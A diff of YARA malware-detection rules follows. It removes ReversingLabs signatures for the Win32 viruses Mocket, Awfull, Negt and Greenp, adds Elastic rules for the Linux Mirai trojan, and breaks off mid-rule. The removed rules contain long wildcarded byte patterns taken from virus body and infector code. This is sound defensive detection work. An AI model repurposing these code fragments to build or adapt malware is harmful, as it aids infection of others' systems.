-rule REVERSINGLABS_Win32_Virus_Mocket : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_8Aa7B5D3 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Mocket virus."
-		author = "ReversingLabs"
-		id = "878c2162-9a79-52e6-af7b-95f9667f9e78"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/virus/Win32.Virus.Mocket.yara#L3-L58"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "af16974396efe7a1a46aa39b812482dcc49d0fe95db6640c1703db479e7ea9dc"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9"
+		date = "2022-01-05"
+		modified = "2022-01-26"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1822-L1840"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f"
+		logic_hash = "3c99b7b126184b75802c7198c81f4783af776920edc6e964dbe726d28d88f64d"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Virus"
-		tc_detection_name = "Mocket"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$mocket_body_1 = {
-            E8 00 00 00 00 5B 81 EB ?? ?? ?? ?? 8B 34 24 81 E6 00 00 FF FF E8 31 00 00 00 89 83 ?? ?? ?? ?? E8 4C 00 00 00 89 83 ??
-            ?? ?? ?? E8 A2 00 00 00 E8 CD 00 00 00 E8 05 01 00 00 87 CB E3 0C B8 ?? ?? ?? ?? 05 ?? ?? ?? ?? FF E0 C3 66 81 3E 4D 5A
-            75 0E 8B 7E 3C 03 FE 66 81 3F 50 45 75 02 96 C3 81 EE 00 00 01 00 81 FE 00 00 00 70 73 DD 33 C0 C3 8B 70 3C 03 F0 8B 76
-            78 03 F0 56 8B 76 20 03 F0 8B C6 33 D2 33 C9 8A 8B ?? ?? ?? ?? 8D BB ?? ?? ?? ?? 8B 34 02 03 B3 ?? ?? ?? ?? 83 C2 04 F3
-            A6 75 E2 5E 8B C6 83 EA 04 D1 EA 8B 40 24 03 83 ?? ?? ?? ?? 33 C9 66 8B 0C 02 8B C6 8B 40 1C 03 83 ?? ?? ?? ?? C1 E1 02
-            8B 04 01 03 83 ?? ?? ?? ?? C3 8D BB ?? ?? ?? ?? 8D B3 ?? ?? ?? ?? 57 8B 83 ?? ?? ?? ?? 50 8B 83 ?? ?? ?? ?? FF D0 89 06
-            83 C6 04 B9 FF FF FF FF 32 C0 F2 AE 80 3F 90 75 DD C3 8D BB ?? ?? ?? ?? 57 68 80 00 00 00 8B 83 ?? ?? ?? ?? FF D0 81 C7
-            80 00 00 00 57 68 80 00 00 00 8B 83 ?? ?? ?? ?? FF D0 81 C7 80 00 00 00 57 68 80 00 00 00 8B 83 ?? ?? ?? ?? FF D0 C3 33
-            C9 B1 03 8D BB ?? ?? ?? ?? 57 8B 83 ?? ?? ?? ?? FF D0 E8 01 00 00 00 C3 C7 83 ?? ?? ?? ?? 00 00 00 00 8D 83 ?? ?? ?? ??
-        }
-		$mocket_body_2 = {
-            50 8D 83 ?? ?? ?? ?? 50 8B 83 ?? ?? ?? ?? FF D0 40 0B C0 74 53 48 89 83 ?? ?? ?? ?? E8 48 00 00 00 FE 83 ?? ?? ?? ?? 80
-            BB ?? ?? ?? ?? 0A 74 29 8D BB ?? ?? ?? ?? B9 ?? ?? ?? ?? 32 C0 F3 AA 8D 83 ?? ?? ?? ?? 50 8B 83 ?? ?? ?? ?? 50 8B 83 ??
-            ?? ?? ?? FF D0 0B C0 75 C3 8B 83 ?? ?? ?? ?? 50 8B 83 ?? ?? ?? ?? FF D0 C3 60 8D B3 ?? ?? ?? ?? 56 8B 83 ?? ?? ?? ?? FF
-            D0 89 83 ?? ?? ?? ?? 68 80 00 00 00 56 8B 83 ?? ?? ?? ?? FF D0 E8 B7 01 00 00 40 0B C0 0F 84 75 01 00 00 48 89 83 ?? ??
-            ?? ?? 8B 8B ?? ?? ?? ?? E8 B4 01 00 00 0B C0 0F 84 4D 01 00 00 89 83 ?? ?? ?? ?? 8B 8B ?? ?? ?? ?? E8 B4 01 00 00 0B C0
-            0F 84 26 01 00 00 89 83 ?? ?? ?? ?? 8B 70 3C 03 F0 66 81 3E 50 45 0F 85 F7 00 00 00 81 7E 4C 4B 43 4F 4D 0F 84 EA 00 00
-            00 8B 4E 3C 51 8B 46 28 89 83 ?? ?? ?? ?? 8B 46 34 89 83 ?? ?? ?? ?? FF B3 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? FF D0 FF B3 ??
-            ?? ?? ?? 8B 83 ?? ?? ?? ?? FF D0 59 8B 83 ?? ?? ?? ?? 05 ?? ?? ?? ?? E8 5C 01 00 00 89 83 ?? ?? ?? ?? 91 E8 21 01 00 00
-            40 0B C0 0F 84 B9 00 00 00 48 89 83 ?? ?? ?? ?? 8B 8B ?? ?? ?? ?? E8 1F 01 00 00 0B C0 0F 84 91 00 00 00 89 83 ?? ?? ??
-        }
-		$mocket_body_3 = {
-            ?? 8B 70 3C 03 F0 8B FE 83 C6 78 8B 57 74 C1 E2 03 03 F2 0F B7 47 06 48 6B C0 28 03 F0 8B 56 10 8B CA 03 56 14 52 8B C1
-            03 46 0C 89 47 28 8B 46 10 05 ?? ?? ?? ?? 8B 4F 3C E8 EA 00 00 00 89 46 10 89 46 08 8B 46 10 03 46 0C 89 47 50 81 4E 24
-            20 00 00 A0 C7 47 4C 4B 43 4F 4D 8D B3 ?? ?? ?? ?? 5A 87 FA 03 BB ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 A4 EB 0B 8B 8B ?? ?? ??
-            ?? E8 41 00 00 00 FF B3 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? FF D0 FF B3 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? FF D0 FF B3 ?? ?? ?? ??
-            8B 83 ?? ?? ?? ?? FF D0 FF B3 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? 50 8B 83 ?? ?? ?? ?? FF D0 61 C3 33 C0 50 50 51 FF B3 ?? ??
-            ?? ?? 8B 83 ?? ?? ?? ?? FF D0 FF B3 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? FF D0 C3 33 C0 50 50 6A 03 50 6A 01 68 00 00 00 C0 56
-            8B 83 ?? ?? ?? ?? FF D0 C3 6A 00 51 6A 00 6A 04 6A 00 8B 83 ?? ?? ?? ?? 50 8B 83 ?? ?? ?? ?? FF D0 C3 51 6A 00 6A 00 6A
-            02 FF B3 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? FF D0 C3 33 D2 F7 F1 0B D2 74 01 40 F7 E1 C3
-        }
+		$a = { 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88 }
 
 	condition:
-		uint16(0)==0x5A4D and ($mocket_body_1 at pe.entry_point) and $mocket_body_2 and $mocket_body_3
+		all of them
 }
-import "pe"
-
-rule REVERSINGLABS_Win32_Virus_Awfull : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_76908C99 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Awfull virus."
-		author = "ReversingLabs"
-		id = "34104923-b401-5d39-883b-aa9a5a8e64f3"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/virus/Win32.Virus.Awfull.yara#L3-L33"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "84a4faee4cbbb3387ad25bd9230c6482b8db461bc008312bc782f23e3df2eae3"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "76908c99-e350-4dbb-9559-27cbe05f55f9"
+		date = "2022-09-12"
+		modified = "2022-10-18"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1842-L1860"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "533a90959bfb337fd7532fb844501fd568f5f4a49998d5d479daf5dfbd01abb2"
+		logic_hash = "bd8254e888b1ea93ca9aad92ea2c8ece1f2d03ae2949ca4c3743b6e339ee21e0"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Virus"
-		tc_detection_name = "Awfull"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "1741b0c2121e3f73bf7e4f505c4661c95753cbf7e0b7a1106dc4ea4d4dd73d6c"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$awfull_body = {
-              60 E8 ?? 00 00 00 8B 64 24 08 EB ?? [0-256]
-              33 D2 64 FF 32 64 89 22 33 C0 C7 00 00 00 00 00 33 D2 64 8F 02
-              5A 64 (8B 0D | 67 8B 0E ) 14 00 [0-2] E3 03 FA
-              EB FD 61 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 0B ED 74 ??
-              [0-128] (BE | 8B 35) ?? ?? ?? ?? 03 F5 B9 ?? ?? ?? ??
-              56 5F AC F6 D0 AA 49 E3 02 EB F7
-        }
+		$a = { 64 24 F8 48 89 04 24 48 8B C6 48 8B 34 24 48 87 CF 48 8B 4C }
 
 	condition:
-		uint16(0)==0x5A4D and ($awfull_body at pe.entry_point)
+		all of them
 }
-import "pe"
-
-rule REVERSINGLABS_Win32_Virus_Negt : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_1538Ce1A : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Negt virus."
-		author = "ReversingLabs"
-		id = "80e83105-dd98-5fad-9119-f851ec3199af"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/virus/Win32.Virus.Negt.yara#L3-L94"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "43057ef111fc505678606386c8d428653da391f4b65844d81479ca05e3517346"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "1538ce1a-7078-4be3-bd69-7e692a1237f5"
+		date = "2022-09-12"
+		modified = "2022-10-18"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1862-L1880"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2382996a8fd44111376253da227120649a1a94b5c61739e87a4e8acc1130e662"
+		logic_hash = "cf2dd11da520640c6a64e05c4679072a714d8cf93d5f5aa3a1eca8eb3e9c8b3b"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Virus"
-		tc_detection_name = "Negt"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$negt_body_and_infector_1 = {
-            6A 00 E8 99 08 00 00 A3 ?? ?? ?? ?? 68 04 01 00 00 68 ?? ?? ?? ?? 6A 00 E8 7D 08 00 00 6A 00 68 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? E8 48 08 00 00 BB 00 00 00 00 8D 05 ?? ?? ?? ?? FE 00 68 ?? ?? ?? ?? E8 2D 00 00 00 43 83 FB 18 7C E8 E8 92 08 00 00
-            3C 9F 7F 17 6A 01 68 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 6A 00 6A 00 E8 7D 08 00 00 6A 00 E8 10 08 00 00 55 8B EC 81 C4 B8
-            FD FF FF FF 75 08 E8 35 08 00 00 0B C0 0F 84 C2 00 00 00 8D 85 C2 FE FF FF 50 68 ?? ?? ?? ?? E8 F2 07 00 00 89 85 BC FE
-            FF FF 83 BD BC FE FF FF FF 0F 84 9E 00 00 00 8D 9D EE FE FF FF 53 E8 21 08 00 00 8B F3 BB 00 00 00 00 F7 D3 68 ?? ?? ??
-            ?? 56 E8 01 08 00 00 23 D8 68 ?? ?? ?? ?? 56 E8 F4 07 00 00 23 D8 68 ?? ?? ?? ?? 56 E8 E7 07 00 00 23 D8 68 ?? ?? ?? ??
-            56 E8 DA 07 00 00 23 D8 68 ?? ?? ?? ?? 56 E8 CD 07 00 00 23 D8 83 FB 00 74 28 FF 75 08 68 ?? ?? ?? ?? E8 BF 07 00 00 8D
-            85 EE FE FF FF 50 68 ?? ?? ?? ?? E8 A2 07 00 00 68 ?? ?? ?? ?? E8 08 01 00 00 8D 85 C2 FE FF FF 50 FF B5 BC FE FF FF E8
-            50 07 00 00 83 F8 00 0F 85 62 FF FF FF FF B5 BC FE FF FF E8 30 07 00 00 8D 85 C2 FE FF FF 50 68 ?? ?? ?? ?? E8 25 07 00
-            00 89 85 BC FE FF FF 83 BD BC FE FF FF FF 0F 84 AF 00 00 00 8D BD C2 FE FF FF 8B 07 66 83 E0 10 0F 84 82 00 00 00 8D 9D
-        }
-		$negt_body_and_infector_2 = {
-            EE FE FF FF 53 E8 42 07 00 00 8B F3 BB 00 00 00 00 F7 D3 68 ?? ?? ?? ?? 56 E8 22 07 00 00 23 D8 68 ?? ?? ?? ?? 56 E8 15
-            07 00 00 23 D8 68 ?? ?? ?? ?? 56 E8 08 07 00 00 23 D8 83 FB 00 74 41 FF 75 08 8D 85 B8 FD FF FF 50 E8 F8 06 00 00 8D 85
-            EE FE FF FF 50 8D 85 B8 FD FF FF 50 E8 D9 06 00 00 68 ?? ?? ?? ?? 8D 85 B8 FD FF FF 50 E8 C8 06 00 00 60 8D 85 B8 FD FF
-            FF 50 E8 63 FE FF FF 61 8D 85 C2 FE FF FF 50 FF B5 BC FE FF FF E8 72 06 00 00 83 F8 00 0F 85 51 FF FF FF FF B5 BC FE FF
-            FF E8 52 06 00 00 C9 C2 04 00 55 8B EC 81 C4 E4 E9 FF FF 51 6A 00 68 80 00 00 00 6A 03 6A 00 6A 03 68 00 00 00 C0 FF 75
-            08 E8 1E 06 00 00 83 F8 FF 75 05 E9 AE 03 00 00 89 45 FC 6A 00 6A 00 6A 3C FF 75 FC E8 45 06 00 00 6A 00 8D 45 F0 50 6A
-            04 8D 45 F4 50 FF 75 FC E8 25 06 00 00 6A 00 6A 00 FF 75 F4 FF 75 FC E8 22 06 00 00 6A 00 8D 45 F0 50 68 20 01 00 00 68
-            ?? ?? ?? ?? FF 75 FC E8 FE 05 00 00 8B 5D F4 83 EB 0B 6A 00 6A 00 53 FF 75 FC E8 F7 05 00 00 6A 00 8D 45 F0 50 6A 0B 68
-            ?? ?? ?? ?? FF 75 FC E8 D6 05 00 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 E5 05 00 00 0B C0 75 05 E9 12 03 00 00 81 3D ?? ??
-            ?? ?? 50 45 00 00 74 05 E9 01 03 00 00 0F B7 05 ?? ?? ?? ?? B9 28 00 00 00 F7 E1 03 45 F4 83 C0 18 0F B7 0D ?? ?? ?? ??
-            03 C1 83 C0 28 3B 05 ?? ?? ?? ?? 76 05 E9 D4 02 00 00 A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? 0F B7
-        }
-		$negt_body_and_infector_3 = {
-            05 ?? ?? ?? ?? B9 28 00 00 00 F7 E1 83 C0 04 03 45 F4 83 C0 14 05 E0 00 00 00 89 45 EC C7 05 ?? ?? ?? ?? 2E 45 41 54 C7
-            05 ?? ?? ?? ?? 55 02 00 00 FF 35 ?? ?? ?? ?? 8F 05 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 99 F7 F1 40 F7 E1 A3 ??
-            ?? ?? ?? 8B 45 EC 83 E8 18 6A 00 6A 00 50 FF 75 FC E8 10 05 00 00 6A 00 8D 45 F0 50 6A 04 8D 45 E8 50 FF 75 FC E8 F0 04
-            00 00 6A 00 8D 45 F0 50 6A 04 8D 45 E4 50 FF 75 FC E8 DC 04 00 00 8B 45 E8 03 45 E4 A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 00
-            00 00 00 C7 05 ?? ?? ?? ?? 00 00 00 00 66 C7 05 ?? ?? ?? ?? 00 00 66 C7 05 ?? ?? ?? ?? 00 00 C7 05 ?? ?? ?? ?? 20 00 00
-            E0 6A 00 6A 00 FF 75 EC FF 75 FC E8 9E 04 00 00 6A 00 8D 45 F0 50 6A 28 68 ?? ?? ?? ?? FF 75 FC E8 8F 04 00 00 68 ?? ??
-            ?? ?? E8 61 04 00 00 68 ?? ?? ?? ?? E8 63 04 00 00 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 48 04 00 00 A3 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 33 04 00 00 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 1E 04 00 00
-            A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 09 04 00 00 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 F4 03
-            00 00 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 DF 03 00 00 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8
-            CA 03 00 00 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 B5 03 00 00 A3 ?? ?? ?? ?? 6A 02 6A 00 6A 00 FF 75 FC E8
-            BA 03 00 00 6A 00 8D 45 F0 50 FF 35 ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 50 FF 75 FC E8 A5 03 00 00 66 FF 05 ?? ?? ?? ?? A1 ??
-            ?? ?? ?? 8B 0D ?? ?? ?? ?? 99 F7 F1 40 F7 E1 03 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? 6A 00 6A 00
-        }
-		$negt_body_and_infector_4 = {
-            FF 75 F4 FF 75 FC E8 63 03 00 00 6A 00 8D 45 F0 50 68 F8 00 00 00 68 ?? ?? ?? ?? FF 75 FC E8 51 03 00 00 83 6D F4 0B 6A
-            00 6A 00 FF 75 F4 FF 75 FC E8 38 03 00 00 6A 00 8D 45 F0 50 6A 0B 68 ?? ?? ?? ?? FF 75 FC E8 29 03 00 00 6A 00 6A 20 6A
-            03 6A 00 6A 01 68 00 00 00 80 68 ?? ?? ?? ?? E8 C8 02 00 00 89 45 F8 6A 00 6A 00 6A 00 FF 75 F8 E8 F9 02 00 00 6A 00 8D
-            45 F0 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 75 F8 E8 D3 02 00 00 8B 75 F0 6A 02 6A 00 6A 00 FF 75 FC E8 CE 02 00 00
-            6A 00 8D 45 F0 50 56 8D 85 ?? ?? ?? ?? 50 FF 75 FC E8 BE 02 00 00 FF 75 FC E8 62 02 00 00 FF 75 F8 E8 5A 02 00 00 59 C9
-            C2 04 00 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 68 00 01 00 00 FF B5 ?? ?? ?? ?? 6A 00
-            FF 95 ?? ?? ?? ?? 6A 00 6A 20 6A 03 6A 00 6A 01 68 00 00 00 80 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A
-            00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 C0 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A 00 FF B5 ?? ?? ??
-            ?? FF 95 ?? ?? ?? ?? 2D ?? ?? ?? ?? 6A 00 6A 00 50 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 6A 00 8D 85 ?? ?? ?? ?? 50 68 00
-            01 00 00 FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 83 FB 00 74 1E 8D 85 ?? ?? ?? ?? 6A 00
-            50 53 FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? EB B7 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? FF B5 ?? ?? ?? ??
-            FF 95 ?? ?? ?? ?? 6A 00 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 03 85 ?? ?? ?? ?? 50 C3
-        }
-		$negt_infector = {
-            E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 68 00 01 00 00 FF B5 ?? ?? ?? ?? 6A 00 FF 95 ??
-            ?? ?? ?? 6A 00 6A 20 6A 03 6A 00 6A 01 68 00 00 00 80 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A 00 6A 20
-            6A 02 6A 00 6A 03 68 00 00 00 C0 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A 00 FF B5 ?? ?? ?? ?? FF 95
-            ?? ?? ?? ?? 2D ?? ?? ?? ?? 6A 00 6A 00 50 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 6A 00 8D 85 ?? ?? ?? ?? 50 68 00 01 00 00
-            FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 83 FB 00 74 1E 8D 85 ?? ?? ?? ?? 6A 00 50 53 FF
-            B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? EB B7 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ??
-            ?? ?? ?? 6A 00 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 03 85 ?? ?? ?? ?? 50 C3
-        }
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "f3d82cae74db83b7a49c5ec04d1a95c3b17ab1b935de24ca5c34e9b99db36803"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { FD 00 00 00 FD 34 FD FD 04 40 FD 04 FD FD 7E 14 FD 78 14 1F 0F }
 
 	condition:
-		uint16(0)==0x5A4D and (($negt_infector at pe.entry_point) or (($negt_body_and_infector_1 at pe.entry_point) and $negt_body_and_infector_2 and $negt_body_and_infector_3 and $negt_body_and_infector_4))
+		all of them
 }
-import "pe"
+rule ELASTIC_Linux_Trojan_Mirai_07B1F4F6 : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "07b1f4f6-9324-48ab-9086-b738fdaf47c3"
+		date = "2022-09-12"
+		modified = "2022-10-18"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1882-L1900"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2382996a8fd44111376253da227120649a1a94b5c61739e87a4e8acc1130e662"
+		logic_hash = "4af1a20e29e0c9b62e1530031e49a3d7b37d4e9a547d89a270a2e59e0c7852cc"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "bebafc3c8e68b36c04dc9af630b81f9d56939818d448759fdd83067e4c97e87a"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
-rule REVERSINGLABS_Win32_Virus_Greenp : TC_DETECTION MALICIOUS MALWARE FILE
+	strings:
+		$a = { FD 08 FD 5C 24 48 66 FD 07 66 FD 44 24 2E 66 FD FD 08 66 FD 47 }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_Feaa98Ff : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Greenp virus."
-		author = "ReversingLabs"
-		id = "5751e91c-652b-59bd-93b8-ece677ad4911"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/virus/Win32.Virus.Greenp.yara#L3-L46"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "ca6df34ee2ad9d93e35b0d1a2d4765f681f3981ffe2786bbc822c3090212fd02"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "feaa98ff-6cd9-40bb-8c4f-ea7c79b272f3"
+		date = "2022-09-12"
+		modified = "2022-10-18"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1902-L1920"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2382996a8fd44111376253da227120649a1a94b5c61739e87a4e8acc1130e662"
+		logic_hash = "06be9d8bcfcb7e6b600103cf29fa8a94a457ff56e8c7018336c270978a57ccbf"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Virus"
-		tc_detection_name = "Greenp"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "0bc8ba390a11e205624bc8035b1d1e22337a5179a81d354178fa2546c61cdeb0"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$greenp_body_1 = {
-            68 ?? ?? ?? ?? 60 FC E8 4E 05 00 00 E8 31 04 00 00 0F 82 93 00 00 00 80 BD ?? ?? ?? ?? 01 75 63 FF 95 ?? ?? ?? ?? 6A 01
-            50 FF 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A 00 6A 00 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 EC 18 8B FC
-            6A 00 6A 00 6A 00 57 FF 95 ?? ?? ?? ?? 85 C0 74 10 57 FF 95 ?? ?? ?? ?? 57 FF 95 ?? ?? ?? ?? EB DF 68 ?? ?? ?? ?? 6A 00
-            FF 95 ?? ?? ?? ?? 83 C4 18 EB 27 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 85 C0 75 16 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ??
-            ?? 85 C0 74 05 E8 81 00 00 00 61 58 FF E0 ?? E8 04 00 00 00 [4] 8B 3C 24 81 EC 00 01 00 00 8B F4 56 68 00 01 00 00 FF
-            95 ?? ?? ?? ?? AC AA 81 C4 00 01 00 00 FF 95 ?? ?? ?? ?? 83 F8 03 75 2D 83 EC 10 8B F4 56 8D 46 04 50 8D 46 08 50 8D 46
